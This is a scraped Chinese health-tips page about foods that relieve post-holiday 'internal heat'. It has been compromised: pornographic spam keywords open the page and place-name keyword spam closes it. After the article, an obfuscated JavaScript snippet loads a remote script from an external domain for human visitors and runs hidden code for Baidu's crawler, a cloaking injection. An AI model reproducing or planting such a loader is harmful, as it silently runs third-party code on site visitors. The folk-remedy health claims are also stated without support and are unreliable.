亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

節(jié)后上火吃啥可以降火

2016-10-08 10:09:16  來源:360常識網(wǎng)   熱度:
導(dǎo)語:陳皮所含揮發(fā)油對胃腸道有溫和的刺激作用,可促進消化液的分泌,排除腸內(nèi)積氣,而生姜能開胃驅(qū)寒,對于很多不思飲食還感覺腹部寒涼的患者而言比較有益。

節(jié)后上火吃啥可以降火

節(jié)后上火吃啥可以降火

節(jié)后上火吃啥可以降火

有虛火:喝鴨肉粥

出現(xiàn)虛火的人,比如出現(xiàn)長痘、喉嚨痛、口腔潰瘍、失眠、多夢。這類人喝涼茶會涼上加涼,導(dǎo)致身體更虛。

那么虛火的人怎么食療呢?很簡單,喝鴨粥!鴨肉粥就是我國古代醫(yī)書《肘后備急方》中的一道古方,鴨肉能補陰益血,清虛熱。

有實火:喝涼茶

對有實火癥狀,比如出現(xiàn)口渴、口臭、便秘、眼睛紅腫、牙齦腫痛、脾氣大、愛發(fā)火等,降火不妨喝點涼茶,比如金銀花+野菊花泡水喝,女生再加兩粒枸杞。涼茶的本質(zhì)是藥茶,而且藥性偏涼。

沒胃口:陳皮生姜消食飲

此外,很多人感覺吃什么都沒胃口,專家指出,這是飲食不節(jié)惹的禍,中醫(yī)稱為“傷食”。這里給大家推薦消食健胃的食療方———陳皮生姜消食飲。

陳皮所含揮發(fā)油對胃腸道有溫和的刺激作用,可促進消化液的分泌,排除腸內(nèi)積氣,而生姜能開胃驅(qū)寒,對于很多不思飲食還感覺腹部寒涼的患者而言比較有益。紅糖中含有部分維他命和電解質(zhì)成分,可調(diào)節(jié)組織間某些物質(zhì)濃度的高低,平衡細胞內(nèi)環(huán)境的水液代謝,排除細胞代謝產(chǎn)物。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
安阳市| 长乐市| 永福县| 通山县| 东方市| 泗阳县| 湖州市| 离岛区| 津南区| 泌阳县| 吉林市| 梁平县| 清苑县| 错那县| 东阳市| 沁阳市| 繁峙县| 绥江县| 穆棱市| 望谟县| 平山县| 灵璧县| 宾川县| 黑山县| 简阳市| 鄯善县| 崇仁县| 仪陇县| 嘉荫县| 晋城| 兴宁市| 镇巴县| 左权县| 津市市| 娱乐| 永新县| 台东市| 和林格尔县| 峡江县| 通州市| 胶南市|